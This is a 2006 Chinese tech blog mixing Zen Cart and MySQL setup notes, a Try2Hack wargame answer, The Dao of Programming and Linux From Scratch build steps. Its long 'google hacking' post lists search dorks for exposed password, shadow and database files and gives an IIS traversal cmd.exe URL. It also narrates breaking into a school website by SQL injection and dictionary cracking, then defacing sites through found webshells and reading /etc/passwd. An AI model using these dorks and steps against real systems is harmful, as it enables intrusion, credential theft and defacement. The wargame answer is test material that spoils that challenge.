2006-12-09

Zen cart 架站心得

首先,安裝前請先安裝phpMyAdmin之類的資料庫管理軟體方面檢視資料庫

安裝時將Database sesson的選項關閉,不然會造成無法登入(原因暫不明)

以上...= =

2006-12-08

MySQL server config for Unicode(utf8)

環境:
dist: Fedora Core 6
MySQL 5.0.27

edit file /etc/my.cnf
add code as below:

[mysql]
default-character-set=utf8
[mysqld]
default-character-set=utf8
default-collation=utf8_general_ci
[mysql.server]
collation_server=utf8_general_ci
character_set_server=utf8

2006-11-28

Wargame-Try2Hack Level 1

第一關,...沒啥好寫的簡單
右鍵找出網頁原始碼之後就會看到密碼了
h4x0r
...NEXT

2006-11-27

google hacking

常用google keyword:
foo1 foo2 (也就是關聯,比如搜索xx公司 xx美女)
operator:foo
filetype:123 類型
site:foo.com 相對直接看網站更有意思,可以得到許多意外的信息
intext:foo
intitle: fooltitle 標題
allinurl:foo 搜索xx網站的所有相關連結。(踩點必備)
links:foo 不要說就知道是它的相關鏈結
allintilte:foo.com

我们可以輔助"-" "+"來調整搜索的精確程度
直接搜索密碼:(引号表示為精確搜索)
當然我们可以再延伸到上面的結果裡進行二次搜索
"index of" htpasswd / passwd
filetype:xls username password email
"ws_ftp.log"
"config.php"
allinurl:admin mdb
service filetype:pwd ....或者某個比如pcanywhere的密碼後綴cif等
越來越有意思了,再來點更敏感信息
"robots.txt" "Disallow:" filetype:txt
inurl:_vti_cnf (FrontPage的關鍵索引啦,掃描器的CGI庫一般都有地)
allinurl: /msadc/Samples/selector/showcode.asp
/../../../passwd
/examples/jsp/snp/snoop.jsp
phpsysinfo
intitle:index of /admin
intitle:"documetation"
inurl: 5800(vnc的port)或者desktop port等多個關鍵字檢索
webmin port 10000
inurl:/admin/login.asp
intext:Powered by GBook365
intitle:"php shell*" "Enable stderr" filetype:php 直接搜索到phpwebshell
foo.org filetype:inc

ipsec filetype:conf
intilte:"error occurred" ODBC request where (select|insert) 說白了就是說,可以直接試著查查資料庫檢索,針對目前流行的sql注射,會發達哦
"Dumping data for table" username password
intitle:"Error using Hypernews"
"Server Software"
intitle:"HTTP_USER_AGENT=Googlebot"
"HTTP_USER_ANGET=Googlebot" THS ADMIN
filetype:.doc site:.mil classified 直接搜索軍方相關word
檢查多個關鍵字:
intitle:config confixx login password
"mydomain.com" nessus report
"report generated by"
"ipconfig"
"winipconfig"
google暫存利用(hoho,最有影響力的東西)推薦大家搜索的時候多用"搜索所有網站"
特別推薦:administrator users 等相關的東西,比如名字,生日等……最惨也可以拿來做字典嘛
……

一些技巧集合:
1) index.of.password
1) filetype:blt "buddylist"
2) "access denied for user" "using password"
2) intitle:"index of" inurl:ftp (pub | incoming)
3) "http://*:*@www" domainname
3) filetype:cnf inurl:_vti_pvt access.cnf
4) auth_user_file.txt
4) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
5) The Master List
5) inurl:"install/install.php"
6) allinurl: admin mdb
6) intitle:"welcome.to.squeezebox"
7) passlist.txt (a better way)
7) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
8) "A syntax error has occurred" filetype:ihtml
8) intitle:Login intext:"RT is ? Copyright"
9) "# -FrontPage-" inurl:service.pwd
9) ext:php program_listing intitle:MythWeb.Program.Listing
10) ORA-00921: unexpected end of SQL command
10) intitle:index.of abyss.conf



NO2:
--------------------------------------------------------------------------------
google hacking的簡單實現

使用google中的一些語法可以提供給我們更多的信息(當然也提供給那些習慣攻擊的人更多他們所想要的.),下面就來介紹一些常用的語法.

intext:
這個就是把網頁中的正文內容中的某個字符做為搜索條件.例如在google裡輸入:intext:動網.將返回所有在網頁正文部分包含"動網"的網頁.allintext:使用方法和intext類似.

intitle:
和上面那個intext差不多,搜索網頁標題中是否有我們所要找的字符.例如搜索:intitle:安全天使.將返回所有網頁標題中包含"安全天使"的網
頁.同理allintitle:也同intitle類似.

cache:
搜索google裡關於某些內容的緩存,有時候也許能找到一些好東西哦.

define:
搜索某個詞語的定義,搜索:define:hacker,將返回關於hacker的定義.

filetype:
這個我要重點推薦一下,無論是撒網式攻擊還是我們後面要說的對特定目標進行信息收集都需要用到這個.搜索指定類型的文件.例如輸入
:filetype:doc.將返回所有以doc結尾的文件URL.當然如果你找.bak、.mdb或.inc也是可以的,獲得的信息也許會更豐富

inf
查找指定站點的一些基本信息.

inurl:
搜索我們指定的字符是否存在於URL中.例如輸入:inurl:admin,將返回N個類似於這樣的連接http://www.xxx.com/xxx/admin,用來找管理員登錄的URL不錯.allinurl也同inurl類似,可指定多個字符.
link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了鏈接的URL.
site:
這個也很有用,例如:site:www.4ngel.net.將返回所有和4ngel.net這個站有關的URL.

對了還有一些*作符也是很有用的:
+ 把google可能忽略的字列如查詢范圍
- 把某個字忽略
~ 同意詞
. 單一的通配符
* 通配符,可代表多個字母
"" 精確查詢

下面開始說說實際應用
以下內容均在google上搜索,對於一個居心叵測的攻擊者來說,可能他最感興趣的就是密碼文件了.而google正因為其強大的搜索能力往往會把一些敏感信息透露給他們.用google搜索以下內容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有時候因為各種各樣的原因一些重要的密碼文件被毫無保護的暴露在網絡上,如果被別有用心的人獲得,那麼危害是很大的

同樣可以用google來搜索一些具有漏洞的程序,例如ZeroBoard前段時間發現個文件代碼洩露漏洞,可以用google來找網上使用這套程序的站點:
intext:ZeroBoard filetype:php
或者使用:
inurl:outlogin.php?_zb_path= site:.jp
來尋找我們所需要的頁面.phpmyadmin是一套功能強大的數據庫*作軟件,一些站點由於配置失誤,導致我們可以不使用密碼直接對phpmyadmin進行*作.我們可以用google搜索存在這樣漏洞的程序URL:
intitle:phpmyadmin intext:Create new database
還http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe? dir嗎?用google找找,你也許還可以找到很多古董級的機器。同樣我們可以用這個找找有其他cgi漏洞的頁面。
allinurl:winnt system32
前面已經簡單的說過可以用google來搜索數據庫文件,用上一些語法來精確查找能夠獲得更多東西(access的數據庫,mssql、mysql的連接文件等等).舉個例子示例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不正確的apache+win32的服務器上經常出現這種情況,和上面的原理一樣,我們還可以用google來找後台.

利用google完全是可以對一個站點進行信息收集和滲透的,下面我們用google對特定站點進行一次測試。
首先用google先看這個站點的一些基本情況(一些細節部分就略去了):
site:xxxx.com
從返回的信息中,找到幾個該校的幾個系院的域名:
http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com
順便ping了一下,應該是在不同的服務器.學校一般都會有不少好的資料,先看看有什麼好東西沒
site:xxxx.com filetype:doc
得到N個不錯的doc。
先找找網站的管理後台地址:
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超過獲得2個管理後台地址:
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp
還算不錯,看看服務器上跑的是什麼程序:
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2服務器用的應該是IIS,上面用的是asp的整站程序,還有一個php的論壇
a3服務器也是IIS,aspx+asp。web程序都應該是自己開發的。有論壇那就看看能不能遇見什麼公共的FTP帳號什麼的:
site:a2.xxxx.com intext:ftp://*:*
沒找到什麼有價值的東西。再看看有沒有上傳一類的漏洞:
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上發現一個上傳文件的頁面:
http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下,沒權限訪問。試試注射,
site:a2.xxxx.com filetype:asp
得到N個asp頁面的地址,體力活就讓軟件做吧,這套程序明顯沒有對注射做什麼防範,dbowner權限,雖然不高但已足矣,back a shell不太喜
歡,而且看起來數據庫的個頭就不小,直接把web管理員的密碼暴出來再說,MD5加密過。一般學校的站點的密碼都比較有規律,通常都是域名+
電話一類的變形,用google搞定吧。
site:xxxx.com //得到N個二級域名
site:xxxx.com intext:*@xxxx.com //得到N個郵件地址,還有郵箱的主人的名字什麼的
site:xxxx.com intext:電話 //N個電話
把什麼的信息做個字典吧,掛上慢慢跑。過了一段時間就跑出4個帳號,2個是學生會的,1個管理員,還有一個可能是老師的帳號。登陸上去:
name:網站管理員
pass:a2xxxx7619 //說了吧,就是域名+4個數字
要再怎麼提權那就不屬於本文討論訪問了,呵呵,到此為止。

這段時間在國外的一些google hack的研究站點看了看,其實也都差不多是一些基本語法的靈活運用,或者配合某個腳本漏洞,主要還是靠個人的靈活思維。國外對於google hack方面的防範也並不是很多,所以大家還是點到為止,不要去搞破壞拉,呵呵。對於一些在win上跑apache的網管們應該多注意一下這方面,一個intitle:index of就差不多都出來了
1.查找利用php webshell
intitle:"php shell*" "Enable stderr" filetype:php
(注: intitle—網頁標題 Enable stderr—UNIX標准輸出和標准錯誤的縮寫filetype—文件類型)。搜索結果中,你能找到很多直接在機器上執行命令的web shell來。如果找到的PHPSHELL不會利用,如果你不熟悉UNIX,可以直接看看LIST,這裡就不詳細說了,有很多利用價值。要說明的是,我們這裡搜索出來的一些國外的PHPSHELL上都要使用UNIX命令,都是system調用出來的函數(其實用百度及其他搜索引擎都可以,只是填
寫搜索的內容不同)。這個PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句話就把首頁搞定了:

echo "召喚" > index.jsp

現在看看首頁,已經被我們改成: "召喚" 了。
我們也可以用WGET上傳一個文件上去(比如你要替換的葉子吧)。然後execute Command輸入
cat file > index.html or
echo "" > file
echo "test" >> file
這樣一條條打出來,站點首頁就成功被替換了。同樣的也可以

uname -a;cat /etc/passwd
不過有點要注意,有些WEBSHELL程序有問題,執行不了的,
2.搜索INC敏感信息
在google的搜索框中填入:
Code:
.org filetype:inc

2006-11-21

程式設計之道 THE DAO OF PROGRAMMING

文件名稱:程式設計之道 THE DAO OF PROGRAMMING
文件作者:冼鏡光 Geoffrey James
登錄時間:2004-11-04 19:26:56 - BY [ax]
THE DAO OF PROGRAMMING Geoffrey James

程式設計之道 冼鏡光

微電腦時代96,97

第一部 寂靜虛無篇

大師如是說:"學會從程式抓蟲子之後, 就可以畢業了

1.1 節

.寂靜虛無中有奧秘, 不動不靜, 乃程式之源, 吾無以名之, 故稱之為程式設計之道.

.若道至大, 則作業系統至大; 若作業系統至大, 編譯程式亦然; 若編譯程式至大,

則應用程式亦復如是, 是故使用人大悅, 世有和諧存焉.

1.2 節

.程式設計之道無遠弗屆, 雖晨曦微風而返.

.道生機器語言, 機器語言生組譯程式.

.組譯程式生編譯程式, 於是萬餘語言存焉.

.各語言有其目的, 均表達軟體之陰陽; 其在道中亦各得其所.

.但若能避免, 就不要用COBOL 寫程式.

1.3 節

.太初有道, 道生時空, 故時空乃程式設計之陰陽.

.程式員不悟道則時空永不敷使用, 悟道者恒有充份時空完成目標.

1.4 節

.上智程式員聞道而行之, 中智程式員聞道而求之, 下智程式員聞道而笑之.

.若無笑聲則無道矣.

.至高之聲難以聽聞.

.前進就是後退之路; 大智總是晚成; 每一個完美的程式仍有BUG.

.道在所有知識之外.

第二部 古之大師篇

大師如是說:"三日不寫程式則生命無趣.

2.1 節

.古程式員神秘而深奧, 無以度量其思維, 僅能描述其表象.

.像狐狸涉水般地小心; 像戰場老兵般地警覺; 像未經琢磨的木頭般地罹�;

像洞中深潭地不透明.

.誰能指出他們心靈中的秘密?

.答案全在道中.

2.2 節

.大師Turing曾經夢到他是一部電腦, 醒後道:

. "不知是我Turing作夢變成機器, 還是一部機器作夢變成我我Turing."

.一家大電腦公司的程式員參加軟體會議後, 向他的經理報告說:"你知道其他電腦

公司有什麼程式員嗎? 他們不修邊幅, 頭髮長而邋遢, 衣服既舊且皺, 他們破壞

了氣氛, 而且我簡報時老是製造噪音."

.經理說:"我根本就不應該派你參加會議, 這些程式員超然物外, 他們把生命看成無稽,

意外的結合. 他們往來而無藩籬, 為他們的程式而活, 為什們他們一定要受社會積習

的約束?

.他們生活在道中."

2.3 節

.生手問大師:"有一個程式員從不設計, 測試程式, 寫作文獻, 但了解他的人都認為

他是世間最好的程式員. 為什麼?"

.大師曰:"這個程式員已充份悟道, 他超越了設計的需要; 系統垮了不會生氣,

而無條件接受這個世界. 他超越了文獻的需要, 他不再計較是否有人看他的程式.

他也超越了測試的需要, 他的每一個程式都圓滿無缺, 清澈, 優雅, 目的自明.

.是的, 他已悟道, 登堂入室.

第三部 設計篇

大師說:"到測試程式時再回頭修改設計就太遲了."

3.1 節

.曾經有人在參觀電腦展每天進門時都向警衛說:"我是的妙賊, 偷東西的技巧已臻化境,

先告訴你, 我絕不會放過這次展覽."

.這段話刺激到警衛, 因為展覽場有好幾百萬元價值的儀器, 所以老是盯這他,

不過卻只看到這個人一個攤位接著一個攤位看, 哼著小曲而已.

.這個人出門的時侯, 警衛把他帶到一旁搜身, 但卻找不到什麼.

.第二天這個人又來了, 而且教訓警衛說:"昨天我收獲不錯, 不過今天會更佳."

所以警衛就更加注意他了, 但是仍然沒有結果.

.最後一天警衛終於忍不住好奇心, 問那個人:"賊大師, 我給您弄得寢食難安,

您是否以教我, 究竟偷了些什麼?"

.這個人笑笑, 說:"我偷的是概念."

3.2 節

.從前有一位大師專寫沒有結構化的程式, 一個生手模仿他, 也開始寫沒有結構化的

程式. 當這位生手要求大師評量進展時, 大師卻批評他寫作沒有結構化的程式.

.大師說:"對大師適用的不一定適合生手, 在能超越結構化之前, 必須先悟道."

3.3 節

.某長官問程式員:"設計會計系統與作業系統, 那一個比較簡單?"

.程式員說:"作業系統."

.長官發出不相信的驚呼:"很顯然的, 會計系統不如作業系統複雜",他說.

." 不!"程式員回答,"在設計會計系統時, 程式員是各種不同主意的人之間的橋樑,

這些主意不外乎: 系統要如何作業? 報表型式如何? 要如何迎合稅法?...等等.

反過來, 作業系統卻不受外界表象的限制; 在設計作業系統時, 程式員尋求人與機器

間最純的和諧, 這就是為什麼作業系統容易設計."

.長官點頭微笑稱是:"但是那一個容易偵錯?"

.程式員沒有回答.

3.4 節

.經理去見大師, 並且告訴他一套新應用程式文件的需求規格, 問道:"如果我給你五

個程式員, 要多久才能設計好這個系統?"

.大師很快回答:"一年."

." 但是我們需要馬上用這個系統! 如果我給你十個程式員, 那要多久?"經理說.

.大師皺眉說:"這要兩年."

." 如果我給你一百個程式員呢?"

.大師聳聳肩:"這個系統根本作不出來了."

第四部 寫作篇

大師如是說:"寫作良好的程式本身自成天堂, 寫得差的程式本身就是地獄.

4.1 節

.程式要輕靈, 副程式像一串珍珠. 程式的精神與意圖應始終如一, 不多不少;

沒有多餘的迴圈, 也沒有額外的變數, 既不缺少結構, 也不過份笨重.

.程式應該追隨" 最低驚訝定律",這是什麼?

.簡單得很, 使用人對程式的反應是驚訝的機會要愈低愈好.

.程式不管再複雜, 應該以一個整體來作用; 他應該用內部邏輯, 而不是外在的表

象來指導作業.

.如果程式不滿足這些要求, 就會雜亂而易生混淆, 唯一的補救就是重新寫過.

4.2 節

.生手問大師:"我有一個程式, 有時侯作得很好, 有時侯卻不行; 我一直遵行程式設

計的規律, 但是卻把我弄得很困擾, 其理安在?"

.大師答曰:"因為不悟道才會如此, 只有笨蛋才會期望他的同儕有合理的行為,

而你卻對人類生產的機器有所期望?!計算機只模擬了決定論, 只有道才十全十美.

.程式設計的準則還是暫時性的, 只有道才會進入永恒. 所以, 你在開竅前要先思索道."

." 但我要如何才能知道已經開竅了呢?"生手問.

.大師回答:"從此以後, 你的程式都能正確執行."

4.3 節

.大師對弟子說:"不論軟體之為大為小, 道在所有軟體中."

." 桌上型計算機有道嗎?"弟子問.

." 有!"大師答.

." 電動玩具程式中有道嗎?"弟子續問.

." 也有!"大師說.

." 那個人電腦的DOS 中有道嗎?"

.大師咳一下, 輕輕挪動了位置,"下課",他說.

4.4 節

.皇太子的程式員正在寫作軟體, 指尖在鍵盤上飛舞, 程式順暢無誤的編譯完成,

執行起來像陣微風輕拂而完美的結束.

." 了不起!", 太子嘆曰:"你的技巧無懈可擊."

." 技巧?"程式員從終端機上轉過頭說,"我所信從的是道, 道超越任何技巧!

我開始學寫程式時, 在我眼前所見是混成一片的程式; 三年後, 不再見到這一大片

程式了

, 我學會使用副程式; 現在, 眼前一片空靈, 什麼都沒有了, 所有東西都進入無

型式的一片靜寂; 所有感覺都不必作用.

.我的精神可以依直覺而不必依任何計劃行事, 換言之, 我的程式自己寫作自己.

當然, 有時會有困難的問題; 我看著他們到來, 我降低自已的速度, 靜靜的看,

改一列程式之後困難就會煙消雲散; 我再重新靜靜坐著欣賞工作的歡樂. 我閉上雙眼

一會兒, 然後關機."

.皇太子說:"我的所有程式員都那麼聰明睿智嗎?"

第五部 維護篇

大師如是說:"雖然程式只有三列, 但總有一天需要維護."

5.1 節

.常用的門不必上油.

.急流不會淤塞.

.聲音與思想不能在真空中傳遞.

.不用的軟體會生鏽.

.這就是至大的奧秘.

5.2 節

.經理問程式員究竟要多久才能把手上的程式寫完."明天",程式員很快的回答.

.經理說:"我想你不太踏實; 真的要多久?"

.程式員想了一會兒:"我希望在程式中加上一些東西, 這至少要兩週."程式員終於說

." 時間還是短了一些",經理堅持說:"如果你能簡單的告訴我什麼時後能寫完我才會滿意."

.程式員同意這一點.

.幾年後經理退休了, 在歡送懋|上發現那個程式員伏在終端機上睡著了, 因為他

寫程式寫了整夜.

5.3 節

.一個生手被分派去寫一個單純的財務軟體.

.這個生手狂熱地工做了幾天, 但是當大師看他的成品時, 卻發現這個程式中包

含一個螢光幕編修程式, 一組一般性的繪圖程式, 一個人工智慧界面, 但卻沒有什麼

與財務方面有關.

.大師就問他, 這個生手卻變得很激動:"不要那麼沒耐心,"他說,"我最終會把財務

部份加上去."

5.4 節

.好農夫會忽視他種的膜l嗎?

.好老師會忽略他最差的學生嗎?

.好父親會容野L的孩子挨餓嗎?

.好程式員會拒絕維護自己的程式嗎?

第六部 管理篇

大師如是說:"程式員要多, 經理要少, 生產力就會增加."

6.1 節

.經理有開不完的會的話, 程式員就會寫電玩; 主計部門想到利潤, 發展經費

就會被刪減; 高級科學家談到藍藍青天, 那麼青天一定會有浮雲飛過.

.當然, 這不是程式設計之道.

.當經理酗U承諾, 程式員就不理會電玩; 當主計部門有長程規劃, 就會回復

和諧與秩序; 當高級科學家處理手上的問題, 問題很快就會解決.

.這才是程式設計之道.

6.2 節

.為什麼程式員沒有生產力? 因為他們的時間都花在開會上頭.

.為什麼程式員難以駕御? 因為管理階層干預太多.

.為什麼程式員一個接一個辭職? 因為他們精力耗光了.

.在不良管理下工作, 程式員不會覺得他的工作有價值.

6.3 節

.某個經理快被炒魷魚了, 但是他底下的一個程式員寫了一個叫好又叫座的程式;

當然, 這位經理因而保住了飯碗.

.經理打算給這位程式員一點獎勵, 但他拒絕接受, 並且說:"因為我覺得這是個有

趣的概念, 才會寫這個程式, 所以我不希望有獎勵."

.經理聽了之後說:"這個程式員雖然職位不高, 但卻充份了解做為一個職員的責任,

讓我們把他升成崇高的管理顧問吧!"

.在告訴程式員時, 他再度拒絕, 說:"我之存在是因為可以寫程式, 如果升了我,

那除了浪費每一個人的時間外而成不了事. 我可以走了嗎? 我還得寫程式."

6.4 節

.經理告訴程式員們說:"下面是你們的工作時間: 早上九點來上班, 下午五點鐘下班."

所有程式員都很生氣, 有幾個馬上辭職.

.於是經理說:"好吧! 這樣好了, 只要能夠如期完工, 工作時間由你們自定."程式員現

在滿意了, 每天中午開始工作, 直到第二天早上.

第七部 公司智慧篇

大師如是說:"你可以對主管示範一個程式, 但無法讓他通曉電腦."

7.1 節

.生手問大師:"遙遠東方有一個叫" 公司總部" 的偉大樹狀結構, 上面滿滿地標上了

些副總裁, 會計長等的圖案. 它發出大量的備忘錄, 每張上面都寫了" 收文!"

" 發文!"沒有人知道是什麼意義. 每年都會把新的名字加到新的分 枝上, 但似乎全

都徒勞無�. 為什麼這樣一個不自然的組織還能繼續存在?"

.大師回答說:"你已經體認到這個龐大的結構, 而被它不合理的目的困擾.

不過你能不從它無休止的迴旋而得到樂趣嗎? 能夠不欣賞深藏在枝葉底端毫無困難

的程式設計嗎? 為什麼要被他的無用而困擾呢."

7.2 節

.東方海上有大魚曰鯤, 鯤能變成雙翼遮天的大鵬. 當大鵬飛越陸地時帶來一道公司

總部的訊息, 這道訊息正好掉在一群程式員中央, 然後大鵬折起雙翼乘風而歸.

.生手程式員瞪眼望著大鵬, 因為他們不認得; 中智程式員憂大鵬的來臨, 因為他們

害怕它帶來的訊息; 只有大師才能繼續坐在終端機前工作, 因為他不知大鵬的來去

7.3 節

.象牙塔的魔術師帶著他的最新發明去見大師, 他推了一個大黑盒子走進大師的辦公室,

大師正在靜靜的等著.

." 這是一套整合性, 分散式, 一般用途的工作站",魔術師如是說,"還有一套專屬的

作業系統, 第六代語言, 多項最先進的使用人界面, 再加上人體工學的設計;

這花了我的助手們好幾百人年才造出來的, 不是很了不起嗎?"

.大師抬了下眼珠子,"的確了不起."大師說.

.魔術師繼續說:"公司總部已經下令每個人都要用這台工作站做發展新軟體的基石,

您同意嗎?"

." 當然."大師答道:"我馬上會把它放到資訊中心去."於是魔術師高高興興的回到

象牙塔去.

.幾天後, 一個生手在大師的辦公室裡團團轉, 說:"我找不到新程式的報表,

您知道會在那兒嗎?"

." 當然",大師答道,"報表就堆在資訊中心裡頭的基石上!"



7.4 節

.大師可以毫無憂慮的從這個程式轉入另一個程式, 管理上的改變傷不到他;

縱使計劃中止了, 也不會被炒魷魚. 為什麼? 因為他充滿了道.

第八部 硬體與軟體篇

大師如是說:"沒有風, 草不會動, 沒有軟體, 硬體就是廢物."

8.1 節

.生手問大師:"我知道一家電腦公司比其他的大得多, 高高在上就像巨人之比侏儒;

它的任一部都可以單獨成為一個企業. 為什麼會這樣?"

.大師回答:"你為什麼問這個笨問題? 這家公司就是因為它大才會這麼大. 如果它只

知道硬體, 沒有人會買它; 如果只生產軟體, 沒有人會用它; 如果只維護系統,

人家會把它看成修理員; 但是因為他把所有的合在一起, 人們就把它當神一樣看待了

. 它根本無需競爭, 因為贏來不費吹灰之力."

8.2 節

.大師有一天經過一個生手旁邊, 發現生手迷上一台手掌型的電玩,"對不起",大師說,

"我可以看看它嗎?"

.生手停下來, 並且把這台機器交給大師. 大師說:"我看到這台機器玩起來有三個層次:

初級, 中級, 高級; 不過這種機器通常都有另一個層次的說法, 使機器贏不了人類,

而人類也勝不了機器."

." 啊! 大師",生手說:"這個奇妙的開關在那裡?"

.大師把機器摔到地上, 用腳把它踏爛.

.突然地, 生手開竅了.

8.3 節

.從前有一位微電腦的程式員對一位來拜訪他的大型電腦程式員說:"你看,

在我這兒多好! 我有我自己的作業系統與案儲存設備, 我不必與任何人共用任

何電腦資源;軟體本身自給自足, 而且容易使用. 為什麼你不辭掉目前的工作

來加入我們?"

.於是大型電腦的程式員就對他的朋友解釋:"大型電腦就像古之聖哲般的穩穩座落i

在資訊中心中央, 磁碟一個接一個蔚為奇觀, 軟體像鑽石般地有多種面目, 像

古森林般的濃密茂盛. 各個程式像一片急流般地湧入系統, 而這就是我在那兒工

作的樂趣 ."

.聽了這段話之後, 微電腦程式員靜默無聲; 但是這兩個人卻結為好友, 至死不渝.

8.4 節

.Hardware與Software走在路上, Software說:"你是陰我是陽, 如果我們能一條心,

一定會成大名賺大錢."所以,他們就聯合在一起而想征服世界.

.走了一段路之後, 碰到Firmware, 穿得破破爛爛, 拿著根柺杖, 並且對他們說:

"道在陰陽之外, 寂靜不動如古井之不生波瀾; 道不求名, 故無人知曉其存在;

道不逐利, 因它圓滿無缺. 道超乎時空之外."

.Hardware和Software聽了之後倍感慚椰茈晶D回家.

第九部 尾聲

大師如是說:"這是下課的時候了!"

給學生與軟體業新進的十招

轉載自程式設計俱樂部

作者 : bensontan(Benson)



莘莘學子與軟體業新進請聽聽在下的十招~對於這十招提供了一些
基本的解釋也希望能以詼諧的方式幫助各位加深印象~相信這十招
各位經過更多歷練後會有更多解釋~所以把這篇從原篇中獨立出來
,希望能方便讀者參考:

第一招:看到問題唸十次
 a. 確認你記得問題下次還記得
 b. 確認你瞭解問題,沒有漏掉什麼要求
 c. 確認你以後踫到類似問題,還會想到它
 d. 確認你連做夢都會想到它~悲慘的程式設計師宿命~
第二招:程式不會寫,先開始寫註解
 a. 例用註解將問題描述,將問題做分析
 b. 把分析方法與解法都 document 起來~對你自己最有益處
 c. 直接註解而省略白紙,由註解行數的改變,讓你老闆知道你有在努力做~
 c. 人家是用照片寫記憶~程式設計師是用文件寫記憶~
第三招:解法不會寫,先寫工具
 a. 一個複雜的問題,尤其是面對演算法相關的所謂困難部份,如果能把工具(諸如模擬)
  寫出來,這樣是比較容易找出解法的~
 b. 工具總是可以拿來重覆利用的~這會讓你越寫越輕鬆~
 c. 寫工具也是一種重要練習~
第四招:整個問題不會解,先解會解的
 a. divide and conquer(偶稱它為個個擊破法) 不用多說,不知道網上查也會知道~
 b. 就像寫論文一樣,如果無法提出所有問題的統一解決方法,限定一些條件來解
 c. 還有有時候一下就想最困難的問題,一來浪費進度、二來心情不佳、三來老闆可能把
   預算砍了因為沒有結果~所以先解會解的是經驗上的金玉良言~因為一來你花了
   20%完成了80%超越進度,老闆來拍肩膀了,二來你解了簡單問題心情大好,更
   覺得整個問題也沒什麼大不了,說不定困難問題因心情好(沒有專牛角尖)也就想
   到而解決了,三來老闆看你有成果說不定常拍你肩膀哩~(老闆這時候真好騙~可惜
   薪水不好騙)
第五招:查網路、問別人、看書獲取各種解題的資源
 a. 想想偶們還在用193x的理論,當然問題絕不可能只有你才踫到,一定粉多人早就
   見過了~只有你踫到的通常是你自己寫出來的bug~
 b. 這是群策群力的時代,多找資源、人家的經驗和別人幫忙~
 c. 對應於b, 現在這個社會最忌諱單打獨鬥, 那代表你不能 team work~
 d. 增加知名度、人緣~ Social 粉重要~切記~切記~
第六招:暴力法求解再找最佳化
 a. 先求有再求好~
 b. 有成果人家才看得見~不然做不出來,中間再怎麼完美都沒有用~
 c. 暴力法通常是最白痴也最有效的辦法~
 d. 有時白痴解法最好~因為只有呆子在演東西給傻子和電腦看~你還期待有什麼
   人會看你的程式?偶們高貴的使用者嗎?
 e. 一代萎人瞪小平同志說過:「黑猫、白猫 會抓老鼠的就是好喵」
第七招:多印追蹤資料少偵錯
 a. 講得粉白話~就是要你可以節省出問題找錯的時間~這樣才有更多時間解決真正
   是問題的問題
 b. 因為有追蹤資料 (trace information)不僅你可以找問題,別人也才可以幫你找
   出問題,想想吧~如果 compiler 只告訴你程式錯,而沒告訴你大約是哪裡它踫
   到錯~你要花多少時間解決一個打錯字的問題
 c. 真正的問題也常能由追蹤資料找出蜘絲馬跡
 d. 養成習慣,不要等到當了還在想怎麼寫追蹤資料的程式碼或可以重覆發生的方法~
 e. 你是壞人喲~幹嘛壞怕留下線索~還是你是蜘蛛精,「偶揮揮手不帶走一片data而
   當機」所以,人家是照相機抓得住偶,程式設計師是用 bug 抓往住偶~偶不是故
   意幫那家快倒的、沒有「即時更新技術」的公司打廣告~
第八招:多讀、多寫、多想、多說
 a. 多讀,像第一招,有時候會幫助你瞭解問題的所在或 think out of box,讀也包括
   讀參考資料~
 b. 多寫,熟能生巧~工欲善其事,必先利其器~
 c. 多想,解法大部份還是要腦袋想出來,即使是人家的也要腦袋理解、吸收
 d. 多說,只有在你能表達出問題所在,才表示你真正瞭解問題~只有你能表達出你的知
   識,那個知識才是你的~
第九招:學會改進重於學會重寫
 a. 任何時間都要學會成本控制~不然你就沒有經費~
 b. 當來練習學會維護別人寫得爛程式~以後踫到再怎麼爛也看得懂~
 c. 為什麼爛-用註解的方法記錄下來,有機會(成本效益考量)再改進-記住是改進,不
   是重寫
 d. 由這種維護的痛苦加深寫好程式的方法和印象~真是歹命呀~;)
 e. 工作機會要找改進的粉多,完全寫新的粉少~
第十招:記得備份
 a. 即使BMW也會 Crash,那「軟~」體會可能都不當機嗎?有誰說他家有裝避雷針不
   怕閃電、有水管(PVC)把電源線和所有線包起來不讓老鼠咬~還有說他寫的程式永
   遠不會當 (如果是,偶送你Taiwan No 1封號 的病毒~)
 b. 讓電腦忙一下讓腦袋休息一下,對大家都好~
 c. 還是記得備份~遠方又傳來哀嚎:「神啊~請讓偶記得備份~」

2006-11-15

Setup LFS by ALFS - jhalfs-1.0 on LFS LiveCD x86-6.2-3

這部分的執行要在jhalfs 1.0的目錄下

1. Setup common/config 設定common/config檔

修改以下幾處:
BUILDDIR=/mnt/lfs
TEST=0
STRIP=1
PAGE=A4

2. Setup LFS/config 設定 LFS/config檔
BOOK=/usr/share/LFS-BOOK-6.2-XML
GETKERNEL=1

3. Final Enviorment setting and Run it ! 最後環境設定並執行
export SRC_ARCHIVE=/lfs-sources && ./lfs -G -M



II. Setup LFS scripts 設定系統變數

1. mount /dev 掛載dev
mount --bind /dev /mnt/lfs/dev
2. chroot
chroot "$LFS" env -i HOME=/root TERM="$TERM"
3. setup root password 設定root的password
4. setup scripts
/etc/sysconfig/clock
/etc/sysconfig/network
/etc/sysconfig/network-devices/ipconfig.eth0/ipv4
/etc/resolv.conf
/etc/hosts
/etc/fstab

5. install Linux Kernel 安裝內核
6. setup grub 設定grub
7. 退出chroot環境
8. umount filesystem & reboot
umount /mnt/lfs/dev
umount /mnt/lfs

LFS - Linux From Scratch

找到了一個好玩的東西,LFS - Linux From Scratch
從源碼開始自己做自己的Linux
